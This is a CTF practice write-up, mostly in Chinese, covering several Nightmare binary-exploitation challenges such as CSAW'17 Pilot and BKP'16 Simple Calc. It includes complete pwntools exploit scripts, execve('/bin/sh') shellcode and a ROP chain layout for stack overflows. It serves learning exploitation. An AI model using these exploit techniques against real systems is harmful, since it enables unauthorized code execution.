---
# System prepended metadata

title: 'Nightmare #2'
tags: [security]

---

# Nightmare #2
###### tags: `security`

## 06: CSAW'17 Pilot 
- 先 recon, 是 64-bit 的 ELF, 掃到的保護機制狀態如下 
    ![](https://i.imgur.com/Ji3NhT4.png)
- 每次執行所顯示的 location 都不一樣, 所以應該是開了 ASLR
    ![](https://i.imgur.com/x8PyOrI.png)
- 在類似 main function 的 FUN_004009a6() 觀察到可以利用 read() 提供使用者輸入
    ![](https://i.imgur.com/okXvtNs.png)
- 雖然在 symbol tree 沒有發現可利用的 function 讓我們直接看 flag, 但在 gdb 用 info proc 得到 pid 後, 在 terminal 下 cat /proc/[pid]/maps, 可以觀察到 stack 具有 RWX 權限; 因此我們可以在 buffer 塞 shellcode, 執行 malicious code 
    ![](https://i.imgur.com/8Y2VSwp.png)
    ![](https://i.imgur.com/YwNu4MW.png)
- prompt 所印出的 "Location:" 即 leak 出 buffer 開始的地方, 所以我們可以在 read() 的 return address 塞成此位址, 強迫它跳轉執行我們的 shellcode; 用 radare2 觀察到 buffer 大小是 0x20, 加上 old rbp, 總共大小是 40 bytes, 所以我們寫的 shellcode 要注意需限制在 40 bytes 內
    ![](https://i.imgur.com/XKi51j3.png)
- 寫一個執行 execve("/bin/sh") 的 shellcode, 將 "/bin/sh" 轉成 16 進位後 (用 online string to hex converter), 得到 0x2f62696e2f7368, 須注意是 little-endian, 所以要存成 0x68732f6e69622f
    ```assembly=
    .global _start
    
    _start:
        mov rax, 0x68732f6e69622f    ; "/bin/sh"
        push rax
        mov rdi, rsp 
        mov rax, 0x3b                ; execve
        xor rsi, rsi 
        xor rdx, rdx
        syscall
    ```
    ```
    $ gcc -nostdlib -static shellcode.s -o shellcode
    ```
- compile 完後, 確認可以執行, 用 objdump (-D -M intel) 取得我們要的指令 (text section)
    ![](https://i.imgur.com/zm5jJtt.png)
    ![](https://i.imgur.com/KBa6ZiW.png)
- 因此可以寫成 exploit 
    ```python=
    import pwn 
    proc = pwn.process("./pilot")
    shellcode = 
    proc.recvuntil("Location:")
    ret_addr = proc.recvuntil("\n")[:-1]
    shellcode = "\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x48\xc7\xc0\x3b\x00\x00\x00\x48\x31\xf6\x48\x31\xd2\x0f\x05"
    payload = shellcode + "a" * (0x20 + 8 - len(shellcode)) + pwn.p64(int(ret_addr, 16))
    proc.send(payload)
    proc.interactive()
    ```
    ![](https://i.imgur.com/cB4rqFO.png)
- 補充：若要縮減 shellcode 大小, 可以用一些 trick (eg. 用 mov 清空 -> 改用 xor), 如果 vulnerable function 是跟 string 有關的 (eg. strcmp) 就要小心把 \x00 替換掉, 避免被截斷
    - reference https://masterccc.github.io/memo/shellcode/

## 06: TAMU'19 Pwn3
- 先 recon, 是 32-bit 的 ELF, 保護機制如下
    ![](https://i.imgur.com/I3mcLer.png)
- 用 ghidra 打開, 有可利用 function echo(), 裡面呼叫危險函數 gets() (因為 gets 不檢查 input 大小), 並且 prompt 還提示我們輸入的位址
    ![](https://i.imgur.com/ATXWCmm.png)
- 觀察到 stack 有寫入和執行的權限, 因此我們可以在裡面塞 shellcode, 跳轉回來, 讓它執行; 須注意 gets() 遇到換行 \n (0x0a) 會截斷
    ![](https://i.imgur.com/5K6Qcgl.png)
- 觀察 buffer 大小, 為 0x12a
    ![](https://i.imgur.com/DfNNnZK.png)
- 網路上有很多寫好的 shellcode database 可以利用 (eg. shell-storm, eploit-db), 我們要找的是 Linux x86 (32-bit), 執行 execve("/bin/sh"), 我用的是這個 https://www.exploit-db.com/exploits/42428
    ```c=
    unsigned char code[] = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
    ```
- 利用以上寫成 exploit
    ```python=
    import pwn 
    proc = pwn.process("./pwn3")
    shellcode = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
    proc.recvuntil("journey ")
    ret_addr = proc.recvuntil("!\n")[:-2]
    payload = shellcode + "a" * (0x12a + 4 - len(shellcode)) + pwn.p32(int(ret_addr, 16))
    proc.sendline(payload)
    proc.interactive()
    ```
    ![](https://i.imgur.com/EiQgUfY.png)

## 06: TUCTF'18 Shella-easy
- 先 reconf, 是 32-bit 的 ELF 
    ![](https://i.imgur.com/80peZGP.png)
- 打開 ghidra 觀察, 可以看到程式使用不安全的 function gets(), 並且 stack 可執行; 所以我們可以在 input 塞 shellcode 來 spawn shell 
    ![](https://i.imgur.com/n9d9Y8K.png)
- prompt leak input 的位址, 用 radare2 觀察到 input 是放在 [ebp-0x48], 須注意跳轉回來時要把 local_c, 也就是放在 [ebp-0x8] 的值改成 0xdeadbeef, 才不會執行 exit(0)
    ![](https://i.imgur.com/RoO20Z8.png)
- shellcode 我是用這段 code http://shell-storm.org/shellcode/files/shellcode-811.php, 在 Linux x86 (32-bit) 執行 execve("/bin/sh"), 大小是 28 bytes; 寫成 exploit 如下
    ```python=
    import pwn 
    proc = pwn.process("./shella-easy")
    leak = proc.recvline()
    addr = leak.strip("Yeah I'll have a ")
    addr = addr.strip(" with a side of fries thanks\n")
    shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
    payload = shellcode + "a" * (0x40 - len(shellcode)) + pwn.p32(0xdeadbeef) + "b" * (0x8 + 4 - 4) + pwn.p32(int(addr, 16))
    proc.sendline(payload)
    proc.interactive()
    ```
    ![](https://i.imgur.com/yw32iZt.png)

## 07: Boston Key Part'16: Simple Calc
- 先 recon, 是 64-bit 的 ELF, 掃到保護機制如下, 可以看到 PIE 沒開, 但 NX 被打開了, 也就是說 stack 不可執行
![](https://i.imgur.com/9XEwtUq.png)
![](https://i.imgur.com/fa5m9v2.png)
- 用 ghidra 打開觀察 decompile 的結果, 可以發現程式讓使用者先輸入 1. 想運算幾次 2. 想運算什麼; 並且我們也可以觀察到程式限制使用者輸入運算次數需介於 3 到 0x100 之間, 如果符合此範圍, 會配置出一塊 input * 4 (input << 2) 的空間, 並用 ptr 指向這個空間開始的位置
![](https://i.imgur.com/TN9hwbd.png)
- 繼續往下觀察, 可以知道 case 1 是在做加法運算, case 2 做減法運算, case 3 做乘法運算, case 4 做除法運算; case 5 的 `Save and Exit` 做的則是把 ptr 所指向的空間複製 input * 4 的大小到一個 buffer, 因為沒有檢查大小, 所以我們可以利用它製造出一個 buffer overflow; 可以觀察到 memcpy 把 [rbp-0x10] copy 到 [rbp-0x40]
![](https://i.imgur.com/1Rl6Hlo.png)
![](https://i.imgur.com/iv3G12R.png)
- 因為 NX 是打開的 (stack 不可執行), 所以我們不能在 stack 裡面塞 shellcode, 把 return address 改成 shellcode 開始的地方來強迫它執行; 但是我們可以利用 ret2libc attack, 更 general 來說是 ROP attack, 利用可執行的 libc 等其他空間中, 將其可利用的指令串接起來, 達成我們的目的
- 在 memcpy 下一行指令設中斷點, 先觀察執行完 memcpy 後, stack 長什麼樣：第一次輸入 1 做加法, x 值給 547397792, y 值給 547397793, 加起來會是 0x41414141; 第二次同樣輸入 1 做加法, x 跟 y 值給 555819297, 加起來會是 0x42424242; 可以觀察到因為做 32-bit 的運算, 結果存的是 0x4242424241414141, 但我們目標是 0x0000000041414141 和 0x0000000042424242, 所以要手動 padding (可以利用程式所提供的減法運算)
![](https://i.imgur.com/NwAkbxx.png)
![](https://i.imgur.com/CplRZUj.png)
- 我們的目標是執行 execve("/bin/sh"), 根據 64-bit 的 Linux syscall table (https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md), 可以知道暫存器 rax 要塞 0x3b (syscall number), rdi 要塞指向字串 "/bin/sh" 的指標 (arg0), rsi (arg1) 和 rdx (arg2) 則塞 NULL 就可以了
![](https://i.imgur.com/rosfAJz.png)
- 利用 ROPGadget 找出可以利用的 gadget, 有關 ROP chain 可以參考 Lays 的投影片 https://www.slideshare.net/hackstuff/rop-40525248
![](https://i.imgur.com/lJdybwB.png)
![](https://i.imgur.com/aswMrX8.png)
![](https://i.imgur.com/1LZmGGh.png)
![](https://i.imgur.com/IHSCbmn.png)
![](https://i.imgur.com/q9KHBZC.png)
- 因為找不到寫好的 string "/bin/sh", 所以我們要自己寫, 下 vmmap 指令, 發現 0x6c0000 - 0x6c3000 這塊記憶體有寫入的權限, 所以等一下會把 "/bin/sh" 寫到這裡 (i.e., 0x6c0000)
![](https://i.imgur.com/6mko7H2.png)
- 想要設計出的 stack, 由低位址到高位址大概長這樣
    ```
    buffer
    old rbp
    -----------
    # original return address -> 從這裡開始建構 ROP chain
    pop rax; ret;
    0x3b 
    pop rdx; ret;
    "/bin/sh"
    pop rdi; ret;
    0x6c0000
    mov qword ptr [rdi], rdx; ret;
    pop rsi; ret;
    0x0
    pop rdx; ret;
    0x0
    syscall
    ```
- 需要注意的是, memcpy 執行完後, 會呼叫 free(ptr), 為了避免配置的空間被 free 掉, 可以在 free() 的參數塞 0, 我是直接把整塊 buffer 都寫 0; 綜合以上, 寫成 [exploit](https://github.com/chuang76/writ3up/blob/main/practice/simplecalc-exp.py), 就可以 spawn the shell！
![](https://i.imgur.com/7mIV9Tl.png)

## 24: Protostar: heap0
- 先 recon, 是 32-bit 的 ELF, PIE 沒開, NX 打開了
![](https://i.imgur.com/sK137Dp.png)
- 用 ghidra 打開：malloc 兩個記憶體空間, 分別是 0x40 bytes 和 4 bytes, 回傳指標 ptr1 和 ptr2; 之後呼叫 strcpy(), 因為沒有檢查大小, 所以可以利用它製造 overflow
![](https://i.imgur.com/GlPnRq6.png)
- 另外在 symbol tree 中, 可以觀察到 target：winner() function, 位址是 0x080484b6 
![](https://i.imgur.com/eBVZqZj.png)
- 因為沒開 PIE, 並且執行 heap0 可以知道 ptr1 到 ptr2 之間相差 0x50 bytes, 所以可以寫 exploit 如下, 成功 level passed
![](https://i.imgur.com/RBgagkT.png)
![](https://i.imgur.com/dWZNvpS.png)
